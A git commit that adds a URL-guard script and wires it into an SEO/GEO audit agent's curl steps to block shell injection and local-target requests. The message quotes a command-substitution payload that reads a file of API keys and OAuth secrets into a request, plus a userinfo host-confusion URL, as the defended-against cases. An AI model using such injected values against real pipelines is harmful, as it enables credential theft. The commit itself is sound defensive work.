feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl

Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.

The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.

Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.

Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).

NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.

Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.

Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.

Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
This commit is contained in:
Bastien Chanot
2026-07-17 09:25:34 +02:00
parent a6d423b940
commit 7d6aa09faf
5 changed files with 230 additions and 4 deletions
+18 -2
View File
@@ -244,8 +244,14 @@ the PERMISSIVE template from `ai-crawlers-2026.md`.
### Live verification `[FULL only]`
**Guard the domain before it reaches a shell — mandatory, not optional.**
`$DOMAIN` is interpolated inside double quotes below, where `$` and backtick
still execute. Run the guard FIRST and use only its output; non-zero exit →
STOP this step and report the refusal, never sanitise-and-retry.
```bash
DOMAIN="<production-domain>"
DOMAIN="$(bash ~/.claude/lib/url-guard.sh host "<production-domain>")" || {
echo "STEP 4 aborted: domain refused by url-guard"; exit 2; }
# Verify robots.txt served
curl -s "https://$DOMAIN/robots.txt" | head -50
@@ -443,13 +449,23 @@ grep -rhoE '"sameAs"[^]]*\]' \
--include="*.html" --include="*.astro" --include="*.tsx" --include="*.jsx" \
--include="*.vue" --include="*.svelte" --include="*.php" --include="*.json" \
. 2>/dev/null \
| grep -oE 'https?://[^"]+' | sort -u | while read -r U; do
| grep -oE 'https?://[^"]+' | sort -u | while read -r RAW; do
# These URLs come from the audited repo's JSON-LD, not from the operator:
# guard each one before it reaches curl. A refused entry is REPORTED, not
# skipped silently — an unguardable sameAs is itself a finding.
U="$(bash ~/.claude/lib/url-guard.sh url "$RAW" 2>/dev/null)" || {
printf 'REFUSED %s\n' "$RAW"; continue; }
printf '%s %s\n' \
"$(curl -sIL -o /dev/null -w '%{http_code}' --max-time 10 "$U" 2>/dev/null || echo 000)" \
"$U"
done
```
`REFUSED` rows are not dead links and not live ones — the URL never left the
machine. Report them in §14 with the raw value: a `sameAs` carrying shell
metacharacters or pointing at `localhost` is either broken markup or someone
probing, and both are worth the client knowing.
**Read the codes honestly — a block is not a death.** Some platforms refuse
non-browser clients: LinkedIn answers `999` (verified 2026-07-16 against a
live company page). A naive check calls that dead and the bundle deletes a
+8 -1
View File
@@ -250,8 +250,15 @@ the §14 observed-list. But under `/seo` the security headers themselves are
out of scope for scoring: see the Technical axis note in STEP 9. Under
`/harden` they are the entire job. Reading is not scoring.
**Guard the domain before it reaches a shell — mandatory, not optional.**
Every curl below interpolates `$DOMAIN` inside double quotes, where `$` and
backtick still execute. Run the guard FIRST and use only its output; if it
exits non-zero, STOP this step and report the refusal — never "clean up" the
value and retry.
```bash
DOMAIN="<production-domain>"
DOMAIN="$(bash ~/.claude/lib/url-guard.sh host "<production-domain>")" || {
echo "STEP 4 aborted: domain refused by url-guard"; exit 2; }
# Headers
curl -sI "https://$DOMAIN/" | head -30